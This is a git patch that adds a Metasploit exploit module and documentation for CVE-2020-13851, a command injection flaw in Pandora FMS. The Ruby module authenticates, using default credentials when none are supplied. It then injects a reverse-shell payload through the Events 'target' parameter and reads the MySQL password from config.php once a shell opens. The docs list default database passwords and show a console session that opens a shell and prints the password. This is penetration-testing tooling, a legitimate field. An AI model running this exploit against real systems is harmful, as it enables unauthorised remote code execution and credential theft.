From 3eceeca911a27a95e2affa302c841a1724ef79ed Mon Sep 17 00:00:00 2001 From: kalba-security Date: Tue, 16 Jun 2020 13:42:06 -0400 Subject: [PATCH] Add Pandora FMS Events Remote Code Execution module and docs --- .../linux/http/pandora_fms_events_exec.md | 89 +++++++++ .../linux/http/pandora_fms_events_exec.rb | 185 ++++++++++++++++++ 2 files changed, 274 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/pandora_fms_events_exec.md create mode 100644 modules/exploits/linux/http/pandora_fms_events_exec.rb diff --git a/documentation/modules/exploit/linux/http/pandora_fms_events_exec.md b/documentation/modules/exploit/linux/http/pandora_fms_events_exec.md new file mode 100644 index 0000000000..cb91b60e43 --- /dev/null +++ b/documentation/modules/exploit/linux/http/pandora_fms_events_exec.md @@ -0,0 +1,89 @@ +## Vulnerable Application +This module exploits a vulnerability (CVE-2020-13851) in Pandora FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 +(and perhaps older versions) in order to execute arbitrary commands. + +The module first connects to the target's `index.php` page in order to verify the version number, which should be displayed here. +If the version indicates the target is likely vulnerable, the module will try to authenticate using the credentials provided by the user. +If no custom credentials are provided, the module will use the default Pandora FMS credentials, which are `admin:pandora`. + +After authenticating, the module attempts to exploit CVE-2020-13851, which is a command injection vulnerability +in the `Events` feature of Pandora FMS. Specifically, this flaw allows users to execute arbitrary commands via +the `target` parameter in HTTP POST requests to the `Events` function. +In order to obtain remote code execution, the module will attempt to issue a malicious HTTP POST request to the `Events` function, +with the `target` parameter set to contain the payload. + +If a shell is obtained, the module will try to obtain the local MySQL database password via a simple `grep` command on the plaintext +`/var/www/html/pandora_console/include/config.php` file. +The default MySQL administrative user is `root` and the default password for the official CentOS virtual appliance ISO is `pandora`. +For the official Docker container, the default MySQL password is `avwwoyqk`. This password can subsequently be used +in order to query the database and to escalate the privilege of any Pandora FMS account to an administrator. + +Valid credentials for a Pandora FMS account are required for the module to work. The account does not need to have admin privileges. +This module has been successfully tested on Pandora 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). + +## Verification Steps +1. Install the module as usual +2. Start msfconsole +3. Do: `use exploit/linux/http/pandora_fms_events_exec` +4. Do: `set RHOSTS [IP]` +5. Do: `set USERNAME [username for the Pandora FMS account]` +6. Do: `set PASSWORD [password for the Pandora FMS account]` +7. Do: `set LHOST [IP]` +8. Do: `exploit` + +## Options +### PASSWORD +The password for the Pandora FMS account to authenticate with. This option is required. The default value is `pandora`. + +### TARGETURI +The base path to Pandora FMS. The default value is `/pandora_console/`. + +### USERNAME +The username for the Pandora FMS account to authenticate with. This option is required. The default value is `admin`. + +## Scenarios +### Pandora FMS 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). +``` +msf5 exploit(linux/http/pandora_fms_events_exec) > show options + +Module options (exploit/linux/http/pandora_fms_events_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD pandora yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.1.13 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /pandora_console/ yes Base path to Pandora FMS + USERNAME admin yes Username to authenticate with + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.1.12 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Auto + + +msf5 exploit(linux/http/pandora_fms_events_exec) > exploit + +[*] Started reverse TCP handler on 192.168.1.12:4444 +[+] Authenticated as user admin. +[*] Executing payload... +[*] Command shell session 1 opened (192.168.1.12:4444 -> 192.168.1.13:38776) at 2020-06-16 13:01:52 -0400 +[*] Trying to read the MySQL DB password via `cat include/config.php | grep dbpass`. The default privileged user is `root`. + +$config["dbpass"]="pandora"; +id +uid=48(apache) gid=48(apache) groups=48(apache) +``` diff --git a/modules/exploits/linux/http/pandora_fms_events_exec.rb b/modules/exploits/linux/http/pandora_fms_events_exec.rb new file mode 100644 index 0000000000..17bba95cbc --- /dev/null +++ b/modules/exploits/linux/http/pandora_fms_events_exec.rb @@ -0,0 +1,185 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Pandora FMS Events Remote Command Execution', + 'Description' => %q{ + This module exploits a vulnerability (CVE-2020-13851) in Pandora + FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps + older versions) in order to execute arbitrary commands. + + This module takes advantage of a command injection vulnerability in the + `Events` feature of Pandora FMS. This flaw allows users to execute + arbitrary commands via the `target` parameter in HTTP POST requests to + the `Events` function. After authenticating to the target, the module + attempts to exploit this flaw by issuing such an HTTP POST request, + with the `target` parameter set to contain the payload. If a shell is + obtained, the module will try to obtain the local MySQL database + password via a simple `grep` command on the plaintext + `/var/www/html/pandora_console/include/config.php` file. + + Valid credentials for a Pandora FMS account are required. The account + does not need to have admin privileges. + This module has been successfully tested on Pandora 7.0 NG 744 running + on CentOS 7 (the official virtual appliance ISO for this version). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Fernando Catoira', # Discovery + 'Julio Sanchez', # Discovery + 'Erik Wynter' # @wyntererik - Metasploit + ], + 'References' => + [ + ['CVE', '2020-13851'], # RCE via the `events` feature + ['URL', 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities'] + ], + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD, + 'Targets' => [['Auto', {}]], + 'Privileged' => true, + 'DisclosureDate' => '2020-06-04', + 'DefaultOptions' => { + 'RPORT' => 80, + 'SSL' => false, + 'PAYLOAD' => 'cmd/unix/reverse_bash' + }, + 'DefaultTarget' => 0 + ) + ) + register_options [ + OptString.new('TARGETURI', [true, 'Base path to Pandora FMS', '/pandora_console/']), + OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pandora']) + ] + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]) + ] + end + + def check + vprint_status('Running check') + res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.php') + + unless res + return CheckCode::Unknown('Connection failed.') + end + + unless res.code == 200 && res.body.include?('Pandora FMS - the Flexible Monitoring System') + return CheckCode::Safe('Target is not a Pandora FMS application.') + end + + @cookie = res.get_cookies + html = res.get_html_document + full_version = html.at('div[@id="ver_num"]').text + + unless full_version && (!full_version.to_s.eql? '') + return CheckCode::Detected('Could not determine the Pandora FMS version.') + end + + version = full_version[1..-1].gsub!('NG', '') + + unless version && (!version.to_s.eql? '') + return CheckCode::Detected('Could not determine the Pandora FMS version.') + end + + version = Gem::Version.new version + + unless version <= Gem::Version.new('7.0.744') + return CheckCode::Safe("Target is Pandora FMS with version #{full_version}.") + end + + CheckCode::Appears("Target is Pandora FMS with version #{full_version}.") + end + + def login(user, pass) + vprint_status "Authenticating as #{user} ..." + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'cookie' => @cookie, + 'vars_get' => { 'login' => '1' }, + 'vars_post' => { + 'nick' => user, + 'pass' => pass, + 'login_button' => 'Login' + } + }) + + unless res + fail_with Failure::Unreachable, 'Connection failed' + end + + unless res.code == 302 + fail_with Failure::NoAccess, 'Authentication failed' + end + + redirect = res.headers['Location'] + + unless redirect && redirect.to_s != '' + fail_with Failure::NoAccess, 'Authentication failed' + end + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => redirect, + 'cookie' => @cookie + }) + + unless res.code == 200 && res.body.include?('Pandora FMS Overview') + fail_with Failure::NoAccess, 'Authentication failed' + end + + print_good "Authenticated as user #{user}." + end + + def on_new_session(client) + super + print_status('Trying to read the MySQL DB password via `cat include/config.php | grep dbpass`. The default privileged user is `root`.') + command = 'cat include/config.php | grep dbpass' + client.shell_write(command + "\n") + end + + def execute_command(cmd, _opts = {}) + print_status('Executing payload...') + referer_url = normalize_uri(target_uri.path, 'index.php', '?sec=eventos&sec2=operation/events/events') + data = 'page=include/ajax/events&perform_event_response=10000000' + data << "&target=#{cmd}" + data << '&response_id=1' + + # using a raw request to prevent the post data from being encoded, which would prevent exploitation + send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'ajax.php'), + 'cookie' => @cookie, + 'headers' => { + 'Referer' => "http://#{datastore['RHOSTS']}#{referer_url}", + 'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8' + }, + 'data' => data + }, timeout = 0.1) # the server will not send a response, so the module shouldn't wait for one + end + + def exploit + unless [CheckCode::Detected, CheckCode::Appears].include? check + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + login(datastore['USERNAME'], datastore['PASSWORD']) + execute_command payload.encoded.gsub(/&/, '%26') + end +end